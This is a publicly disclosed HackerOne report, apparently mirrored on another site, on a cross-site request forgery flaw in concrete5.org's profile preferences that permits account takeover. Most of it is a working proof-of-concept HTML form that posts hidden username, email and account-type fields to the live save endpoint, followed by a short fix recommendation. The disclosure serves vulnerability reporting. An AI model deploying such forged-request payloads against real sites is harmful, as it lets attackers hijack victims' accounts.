HexBrain
Open on HackerOneSign in

Concrete CMS · Report #152052

CSRF Full Account Takeover

Validstatus
11upvotes
12 Aug 2016disclosed

How it was found

Try this code in your browser:

<html> <body> <form action="https://www.concrete5.org/profile/preferences/-/save/" method="POST"> <input type="hidden" name="uName" value="██████" /> <input type="hidden" name="uEmail" value="████" /> <input type="hidden" name="uAccountType" value="owner" /> <input type="hidden" name="profile&#95;private&#95;messages&#95;notification&#95;enabled" value="1" /> <input type="hidden" name="uPasswordOld" value="" /> <input type="hidden" name="uPasswordNew" value="" /> <input type="hidden" name="uPasswordNewConfirm" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html>

You need to ask for confirming password for changing settings, or use a token everytime it is changed.

If any further information is needed, plase ask.

Thanks.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original